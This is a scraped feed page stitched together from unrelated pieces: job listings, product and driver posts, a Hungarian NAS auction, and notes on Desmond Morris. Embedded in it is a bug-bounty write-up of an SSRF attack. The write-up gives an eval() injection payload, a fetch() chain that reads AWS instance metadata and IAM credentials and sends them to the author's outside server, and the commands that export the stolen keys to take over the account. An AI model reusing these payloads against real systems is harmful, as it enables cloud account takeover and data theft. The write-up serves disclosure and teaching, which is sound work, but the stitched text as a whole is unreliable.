From Indeed - Fri, 28 Sep 2018 16:54:57 GMT - View all Parkersburg, WV jobs
          Advisory Application Specialist - Control M - Church Mutual Insurance Company - Merrill, WI      Cache   Translate Page      
Knowledge of Linux, IBM iSeries, AIX, and Microsoft Server platforms. This position is responsible for administration and production control of enterprise...
From Church Mutual Insurance Company - Thu, 06 Sep 2018 06:32:22 GMT - View all Merrill, WI jobs
          AIX Admin - Cognizant - Menomonee Falls, WI      Cache   Translate Page      
Cognizant is hiring for &quot; AIX Admin”. OS Patching – IBM AIX and Red-HAT LINUX. Good understanding about IBM AIX and Red-HAT LINUX architectures....
From Cognizant - Mon, 08 Oct 2018 23:18:56 GMT - View all Menomonee Falls, WI jobs
          UNIX Systems Engineer - Epic Careers - Madison, WI      Cache   Translate Page      
AIX, HP-UX, Solaris 10 or 11, Linux (RHEL, CentOS, Ubuntu). Comfortable administering virtualized environments with VMware vSphere VMs, AIX PowerVM LPARs,...
From Epic Careers - Thu, 28 Jun 2018 18:55:10 GMT - View all Madison, WI jobs
          Middleware Administrator - MQ/Mule - Northwestern Mutual Life Insurance Company - Milwaukee, WI      Cache   Translate Page      
Excellent knowledge of supporting software on Red Hat Linux or AIX. At Northwestern Mutual, we believe relationships are built on trust....
From Northwestern Mutual - Fri, 28 Sep 2018 22:10:40 GMT - View all Milwaukee, WI jobs
          Senior WebSphere Administrator - Northwestern Mutual Life Insurance Company - Milwaukee, WI      Cache   Translate Page      
Excellent knowledge of supporting software on Red Hat Linux or AIX. At Northwestern Mutual, we believe relationships are built on trust....
From Northwestern Mutual - Wed, 19 Sep 2018 22:05:56 GMT - View all Milwaukee, WI jobs
          Python Developer      Cache   Translate Page      
CA-San Jose, San Jose, California Skills : • SSL/PKI • Basic Linux administration • Basic Windows administration + IIS • Documentation • Python Description : • Experience in Python Scripting
          Websphere Administrator - CITRATEK - Milwaukee, WI      Cache   Translate Page      
Excellent knowledge of supporting software on Red Hat Linux or AIX. Looking for *System Administrator /Websphere Administrator who is local and willing to work...
From Indeed - Wed, 26 Sep 2018 14:27:54 GMT - View all Milwaukee, WI jobs
          WebSphere Admin - Cognizant - Milwaukee, WI      Cache   Translate Page      
Excellent knowledge of supporting software on Red Hat Linux or AIX Strong understanding of networking and security concepts....
From Cognizant - Tue, 11 Sep 2018 17:19:21 GMT - View all Milwaukee, WI jobs
          Senior Software Engineer - PKWARE, Inc. - Milwaukee, WI      Cache   Translate Page      
Write code across multiple platforms including Windows, MacOS, Linux, Solaris, AIX, HP-UX, iOS and Android. We are looking for a talented software engineer to...
From PKWARE, Inc. - Mon, 11 Jun 2018 23:45:23 GMT - View all Milwaukee, WI jobs
          Java production support      Cache   Translate Page      
CA-Sunnyvale, Java production Support Sunnyvale,CA 12 Months Contract Telephonic/Skype Interview Mandatory Technical Skills Good hands-on experience on Java Technologies Good hands-on experience with Cassandra and Oracle. Good Linux/Unix hand-on experience. Shell/Python Scripting is a plus. Desirable Technical Skills Hands-on experience with splunk. Decent networking knowledge and understanding Mandatory Functi
          Senior Websphere Administrator - Softura - Franklin, WI      Cache   Translate Page      
Supporting software on Red Hat Linux or AIX:. Excellent knowledge of supporting software on Red Hat Linux or AIX....
From Indeed - Tue, 11 Sep 2018 15:16:33 GMT - View all Franklin, WI jobs
          MES System Administration Engineer - Senior - Foxconn - Mt Pleasant, WI      Cache   Translate Page      
Familiar with Unix, Linux, IBM AIX, SAN/NAS storage. MES System Administration Engineer (Senior)....
From Foxconn - Wed, 05 Sep 2018 18:33:03 GMT - View all Mt Pleasant, WI jobs
          Stratis Pulls it All Together | LINUX Unplugged 270      Cache   Translate Page      
Red Hat developer Andy Grover joins us to discuss Stratis Storage, an alternative to ZFS on Linux and its recent milestone.
          Java/Linux Developer - CNH Industrial - Saskatoon, SK      Cache   Translate Page      
Each of its brands, including Case IH, New Holland Agriculture, Case and New Holland Construction, FPT Industrial, Capital, and Parts &amp; Service, is a major...
From CNH Industrial - Wed, 08 Aug 2018 23:25:00 GMT - View all Saskatoon, SK jobs
          Canon PIXMA TS8220 drivers download      Cache   Translate Page      

Canon PIXMA TS8220 drivers download Windows 10/10 x64/8.1/8.1 x64/8/8 x64/7/7 x64/Vista/Vista64/XP/Server Mac OS X 10.14/10.13/10.12/10.11/10.10/10.9/10.8/10.7/10.6/10.5 and linux deb rpm – Canon PIXMA TS8220 Review : New release for printer Next Generation of home Office and Scanner The PIXMA TS8220 Printer is a minimized, business and home office 3-in-1 alternative for expedient tasks and overhauled with a ...

The post Canon PIXMA TS8220 drivers download appeared first on Support Drivers.


          arm-linux-gnueabihf-gcc-linaro-bin      Cache   Translate Page      
The GNU Compiler Collection - cross compiler for ARM EABI hard float target.
          IT Support Specialist - Rambus - San Francisco, CA      Cache   Translate Page      
Business Unit Specific Support:. Collaboration Tool support (Skype for Business, Webex, etc). Deep knowledge of Unix/Linux internals administration,...
From Bank of Ireland - Wed, 19 Sep 2018 00:34:49 GMT - View all San Francisco, CA jobs
          AWS takeover through SSRF in JavaScript      Cache   Translate Page      

Here is the story of a bug I found in a private bug bounty program on Hackerone . It toke me exactly 12h30 -no break- to find it, exploit and report. I was able to dump the AWS credentials, this lead me to fully compromise the account of the company: 20 buckets and 80 EC2 instances (Amazon Elastic Compute Cloud) in my hands. Besides the fact that it’s one of my best bug in my hunter career, I also learnt alot during this sprint, so let’s share!

Intro

As I said, the program is private so the company, let’s call it: ArticMonkey.

For the purpose of their activity -and their web application- ArticMonkey has developed a custom macro language, let’s call it: Banan++. I don’t know what language was initially used for the creation of Banan++ but from the webapp you can get a javascript version, let’s dig in!

The original banan++.js file was minified, but still huge, 2.1M compressed, 2.5M beautified, 56441 lines and 2546981 characters, enjoy. No need to say that I didn’t read the whole sh… By searching some keywords very specific to Banan++, I located the first function in line 3348. About 135 functions were available at that time. This was my playground.

Spot the issue

I started to read the code by the top but most of the functions were about date manipulation or mathematical operations, nothing really insteresting or dangerous. After a while, I finally found one called Union() that looked promising, below the code:

helper.prototype.Union = function() { for (var _len22 = arguments.length, args = Array(_len22), _key22 = 0; _key22 < _len22; _key22++) args[_key22] = arguments[_key22]; var value = args.shift(), symbol = args.shift(), results = args.filter(function(arg) { try { return eval(value + symbol + arg) } catch (e) { return !1 } }); return !!results.length }

Did you notice that? Did you notice that kinky eval() ? Looks sooooooooooo interesting! I copied the code on a local HTML file in order to perform more tests.

Basically the function can take from 0 to infinite arguments but start to be useful at 3. The eval() is used to compare the first argument to the third one with the help of the second, then the fourth is tested, the fifth etc… Normal usage should be something like Union(1,'<',3); and the returned value true if at least one of these tests is true or false .

However there is absolutely no sanitization performed or test regarding the type and the value of the arguments. With the help of my favourite debugger -alert()- I understood that an exploit could be triggered in many different ways:

Union( 'alert()//', '2', '3' ); Union( '1', '2;alert();', '3' ); Union( '1', '2', '3;alert()' ); ... Find an injection point

Ok so I had a vulnerable function, which is always good, but what I needed was a input to inject some malicious code. I remembered that I already seen some POST parameters using Banan++ functions so I performed a quick search in my Burp Suite history. Got it:

POST /REDACTED HTTP/1.1 Host: api.REDACTED.com Connection: close Content-Length: 232 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (X11; linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3502.0 Safari/537.36 autochrome/red Content-Type: application/json;charset=UTF-8 Referer: https://app.REDACTED.com/REDACTED Accept-Encoding: gzip, deflate Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: auth=REDACTED {...REDACTED...,"operation":"( Year( CurrentDate() ) > 2017 )"}

Response:

HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 54 Connection: close X-Content-Type-Options: nosniff X-Xss-Protection: 1 Strict-Transport-Security: max-age=15768000; includeSubDomains ...REDACTED... [{"name":"REDACTED",...REDACTED...}]

The parameter operation seems to be a good option. Time for testing!

Perform the injection

Since I didn’t know anything about Banan++, I had to perform some tests in order to find out what kind of code I could inject or not. Sort of manual fuzzing.

{...REDACTED...,"operation":"'\"><"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":null} [] {...REDACTED...,"operation":"0"} [] {...REDACTED...,"operation":"1"} [{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"a"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"a=1"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"alert"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"alert()"} {"status":400,"message":"Function 'alert' is not defined"} {...REDACTED...,"operation":"Union()"} []

What I conclued here was:

operation

Let’s continue with Union() :

{...REDACTED...,"operation":"Union(1,2,3)"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union(a,b,c)"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union('a','b','c')"} {"status":400,"message":"Parse error on line 1...REDACTED..."} {...REDACTED...,"operation":"Union('a';'b';'c')"} [{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'2';'3')"} [{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'<';'3')"} [{"name":"REDACTED",...REDACTED...}] {...REDACTED...,"operation":"Union('1';'>';'3')"} []]

Perfect! If 1 < 3 then the response contains valid datas (true), but if 1 > 3 then the response is empty (false). Parameters must be separated by a semi colon. I could now try a real attack.

fetch is the new XMLHttpRequest

Because the request is an ajax call to the api that only returns JSON datas, it’s obviously not a client side injection. I also knew from a previous report that ArticMonkey tends to use alot JavaScript server side.

But it doesn’t matter, I had to try everything, maybe I could trigger an error that would reveal informations about the system the JavaScript runs on. Since my local testing, I knew exactly how to inject my malicious code. I tried basic XSS payloads and malformed JavaScript but all I got was the error previously mentionned.

I then tried to fire an HTTP request.

Through ajax call first:

x = new XMLHttpRequest; x.open( 'GET','https://poc.myserver.com' ); x.send();

But didn’t receive anything. I tried HTML injection:

i = document.createElement( 'img' ); i.src = '<img src="https://poc.myserver.com/xxx.png">'; document.body.appendChild( i );

But didn’t receive anything! More tries:

document.body.innerHTML += '<img src="https://poc.myserver.com/xxx.png">'; document.body.innerHTML += '<iframe src="https://poc.myserver.com">';

But didn’t receive anything!!!

Sometimes you know, you have to test stupid things by yourself to understand how stupid it was… Obviously it was a mistake to try to render HTML code, but hey! I’m just a hacker… Back to the ajax request, I stay stuck there for a while. It toke me quite a long time to figure out how to make it work.

I finally remembered that ArticMonkey uses ReactJS on their frontend, I would later learnt that they use NodeJS server side. Anyway, I checked on Google how to perform an ajax request with it and found the solution in the official documention which lead me to the fetch() function which is the new standard to perform ajax call, that was the key.

I injected the following:

fetch('https://poc.myserver.com')

And immediately got a new line in my Apache log.

Being able to ping my server is a thing but it’s a blind SSRF, I had no response echoed back. I had the idea to chain two requests where the second would send the result of the first one. Something like:

x1 = new XMLHttpRequest; x1.open( 'GET','https://...', false ); x1.send(); r = x1.responseText; x2 = new XMLHttpRequest; x2.open( 'GET','https://poc.myserver.com/?r='+r, false ); x2.send();

Again it toke me while to get the correct syntax with fetch() . Thanks StackOverflow .

I ended with the following code which works pretty well:

fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

Of course, Origin policy applies.

SSRF for the win

I firstly tried to read local files:

fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

But the response ( r parameter) in my Apache log file was empty.

Since I found some S3 buckets related to ArticMonkey ( articmonkey-xxx ), I thought that this company might also use AWS servers for their webapp (which was also confirmed by the header in some responses x-cache: Hit from cloudfront ). I quickly jump on the list of the most common SSRF URL for Cloud Instances .

And got a nice hit when I tried to access the metadatas of the instance.
AWS takeover through SSRF in JavaScript

Final payload:

{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}

Decoded output is the directory listing returned:

ami-id ami-launch-index ami-manifest-path block-device-mapping/ hostname iam/ ...

Since I didn’t know anything about AWS metadatas, because it was my first time in da place. I toke time to explore the directories and all files at my disposition. As you will read everywhere, the most insteresting one is http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE> . Which returned:

{ "Code":"Success", "Type":"AWS-HMAC", "AccessKeyId":"...REDACTED...", "SecretAccessKey":"...REDACTED...", "Token":"...REDACTED...", "Expiration":"2018-09-06T19:24:38Z", "LastUpdated":"2018-09-06T19:09:38Z" } Exploit the credentials

At that time, I though that the game was ended. But for my PoC I wanted to show the criticity of this leak, I wanted something really strong! I tried to use those credentials to impersonate the company. You have to know that they are temporary credentials, only valid for a short period, 5mn more or less. Anyway, 5mn is supposed to be enough to update my own credentials to those ones, 2 copy/paste, I think I can handle that… err…

I asked for help on Twitter from SSRF and AWS master. Thank guys, I truely appreciate your commitment, but I finally found the solution in the UserGuide of AWS Identity and Access Management . My mistake, except to not read the documentation (…), was to only use AccessKeyId and SecretAccessKey , this doesn’t work, the token must also be exported. Kiddies…

$ export AWS_ACCESS_KEY_ID=AKIAI44... $ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI... $ export AWS_SESSION_TOKEN=AQoDYXdzEJr...

Checking my idendity with the following command proved that I was not myself anymore.

aws sts get-caller-identity

And then…


AWS takeover through SSRF in JavaScript

Left: listing of the EC2 instances configured by ArticMonkey. Probably a big part -or the whole- of their system.

Right: the company owns 20 buckets, containing highly sensitive datas from customers, static files for the web application, and according to the name of the buckets, probably logs/backups of their server.

Impact: lethal.

Timeline

06/09/2018 12h00 - beginning of the hunt

07/09/2018 00h30 - report

07/09/2018 19h30 - fix and reward

Thanks to ArticMonkey for being so fast to fix and reward, and agreed this article :)

Conclusion

I learnt alot because of this bug:

ReactJS, fetch(), AWS metadatas. RTFM! The official documentation is always a great source of (useful) informations. At each step new problems appeared. I had to search everywhere, try many different things, I had to push my limits to not give up. I now know that I can fully compromise a system by myself starting from 0, which is a great personal achievement and statisfaction :)

When someone tells you that you’ll never be able to do something, don’t waste your time to bargain with these peoples, simply prove them they’re wong by doing it.


          Comment on Harrison Mixbus 3 – Đột phá bằng cách quay ngược thời gian by Kartist      Cache   Translate Page      
anh có dùng Tracktion không nhỉ? DAW miễn phí và cũng hỗ trợ Linux, hóng 1 bài review :v
          QNAP TS-228A - Jelenlegi ára: 70 900 Ft      Cache   Translate Page      
Csatlakozók és csatlakozási felületekEthernet LAN (RJ-45) portok1 USB 2. 0 portok száma2 USB 3. 0 (3. 1 Gen 1) A típusú portok száma1 USB port✔ Üzemi körülményekÜzemi hőmérséklettartomány (T-T)0 ? 40 °CTárolási relatív páratartalmi tartomány5 ? 95 %AdattárolásTámogatott tároló meghajtó típusokHDDA támogatott tárolómeghajtók száma2 Háttértár interfészSerial ATA IIITárolóeszköz mérete8, 8900000090678 cmRAID támogatás✔ Támogatott fájlrendszerekFAT32 / HFS+ / NTFS / ext3 / ext4Hibás blokk keresése✔ KialakításTermék színeFehérLED-kijelzőkHDD / Hálózati / Státusz / SystemGépház típusaMini toronyHűtés típusaAktívVentilátorok száma1 ventilátorok számaVentilátor átmérője4 cmTömeg és méretekTömeg70 dkgSzélesség9 cmMélység12, 5 cmMagasság18, 77 cmCsomagolás tömege1, 88 kgTovábbi jellemzőkEnergiakezelés✔ RAIDVanUSB 3. 11 HDD maximális száma2 ProcesszorProcesszormodellRTD1295A processzor frekvenciája1, 4 GHzProcesszormagok4 Processzor architektúraARM Cortex-A53ProcessszorcsaládRealtekMemóriaRAM kapacitás1 GBRAM típusaDDR4Flash memória mérete3, 90625 GBTartozékokKülső áramerősségszolgáltató✔ Kábelek mellékelveAC / LAN (RJ-45)TeljesítményTípusNASTámogatott Windows operációs rendszerekWindows 10 / Windows 7 / Windows 8Támogatott Mac operációs rendszerekMac OS X 10. 7 Lion / Mac OS X 10. 8 Mountain Lion / Mac OS X 10. 9 MavericksIntegrált kapcsoló✔ EszközosztályOtthoni és otthoni irodaiTelepített operációs rendszerQNAP Turbo SystemBiztonsági mentés jellemzőiFelhő / iSCSI LUNHangjelző✔ Az operációs rendszer verziója4, 3 Biztonsági algoritmusok256 ? 2 HTTPS, SNMP, SSHTámogatott Linux operációs rendszerek✔ Backup funkció✔ S. M. A. R. T. támogatás✔ Újraindító gomb✔ Biztonsági mentés gomb✔ Univerzális Plug and Play (UPnP)✔ Hozzáférési vezérlő lista (ACL)✔ Többnyelvű ügyfélszolgálat✔ Támogatott böngészőApple Safari 7 / Google Chrome / Microsoft Internet Explorer 10 / Mozilla FirefoxTámogatott szerver operációs rendszerekWindows Server 2003 x64 / Windows Server 2008 R2 / Windows Server 2012 / Windows Server 2012 R2 / Windows Server 2016Zajszint17 dBHálózatiSCSI-támogatás✔ LAN-ébresztési funkció✔ LAN adatátviteli sebesség1000 Mbit/sEthernet/LAN csatlakozás✔ TápellátásÁramfogyasztás (tipikus)12, 21 WAC bemeneti feszültség100 ? 240AC bemeneti frekvencia50 / 60Tápellátás helyeKülsőTápegység (PSU) teljesítménye60 WTeljesítményfelvétel (HDD készenlét)5, 14 WMéretek és súlySúly1. 9 kgCsomagolás tartalmaGyorstelepítési útmutató✔
QNAP TS-228A
Jelenlegi ára: 70 900 Ft
Az aukció vége: 2018-10-10 07:43
          extundelete      Cache   Translate Page      
Étant un gros noob, j’ai fait une gaffe en supprimant 4To de données sur mon nouveau serveur de fichiers Linux. Qu’est-ce que extundelete? L’utilitaire que ça prend pour les gros noobs comme moi afin de récupérer mes données effacées. extundelete vous permet de restaurer vos fichiers effacés par mégarde en utilisant le journal du système […]
          The Naked Ape 1967; The Naked Eye (2001)/ The Naked Woman: A Study of the Female Body/ The Lives of the Surrealists (2018)      Cache   Translate Page      
  • The Lives of the Surrealists (2018)
https://en.wikipedia.org/wiki/Desmond_Morris
 莫里斯(Desmond Morris)現在九十歲了,剛出了一本書叫《超現實主義畫家生活》,記錄他生命中遇見的那些超現實主義藝術家的點點滴滴,這是他第一手的經驗與面對面的觀察,而由於他動物學與人類學的背景,充滿洞見與深刻的觀察,他寫下這些藝術家的故事,不談大家已經看膩的超現實主義論述,而是活生生的人生與細節,有種老朋友式的平實溫暖意味,又清楚地有著動物學家的冷靜犀利,相當吸引人。
 莫里斯與超現實主義來往密切的時候約已經是1950年代了,當時超現實主義的最高峰其實已經過去,藝術家們之間的紛爭也比較緩和,莫里斯看到這些大名鼎鼎的藝術家與恩斯特、馬格利特、坦基、達利、米羅、德爾沃、馬松等人,見過他們的惡鬥與現實中的形狀,貪婪與天真,飛黃騰達與潦倒落魄,他心中饒有興味的觀察大過藝術家之間的競爭。
 他談到了被視為超現實主義領袖布魯東的問題。他以獨裁的方式召集會員,若有不滿則將他開除資格,而他歧視女性並恐同,事實上現在大眾心中超現實主義的大咖幾乎都被他開除資格或自己受不了退出。(撰文/李維菁)
(節選自《藝術家》521期,2018年10月號)




Desmond John Morris (born 24 January 1928) is an English zoologistethologist and surrealist painter, as well as a popular author in human sociobiology. He is known for his 1967 book The Naked Ape, and for his television programmes such as Zoo Time.





195

裸眼:一個動物學家的人類探索之旅

毛里斯戴茲蒙(Morris Desmond)/楊軍/馬可孛羅文化出版

2004

719.85 2064

圖書


The Naked Eye (2001)

這本書用的語彙多為中國的 出版社懶得管它

漏字掉行處不少
連男女之愛 straight sex 都不知道是"異性交"

http://www.answers.com/topic/desmond-morris

Desmond Morris's The Naked Eye
click above to buy this book from Amazon.co.uk

Desmond Morris on
The Naked Eye

at Edinburgh
International Book Festival
15th August 2000

Ravi Bali

The latest book from Desmond Morris, The Naked Eye: Travels in Search of the Human Species, is part autobiography, part travelogue and part presentation on aspects of his theory.
A charming man, Morris spent most of the hour relating anecdotes from his travels around the world, including memories of his friends Anthony Burgess and David Attenborough. The stories amused the audience and raised a few laughs. One aspect of what he said relating to his theories interested me particularly. When he started out using zoological techniques to observe human beings, many people were critical of his trying to understand humans in the same terms as other animals. His first bestselling book, The Naked Ape, was written with the belief that precisely by applying these methods to human behaviour we could gain some interesting insights into ourselves.
One audience member asked Morris whether he thought the initial outrage that he should insult humanity by treating them as animals has today been reversed, so that we are now seen as inferior to beasts. He agreed that there had been a disenchantment with humanity so that any comparison with the rest of nature emphasises our destructiveness while downplaying our creative acheivements and potential. He misunderstood the tone of the question, to say he did agree and would like to think that he had played some small part in undermining man's arrogance towards the rest of the animal kingdom.
He spoke very positively of the emergence of ecology, whilst going on to say he was very optimistic about man's tremendous ingenuity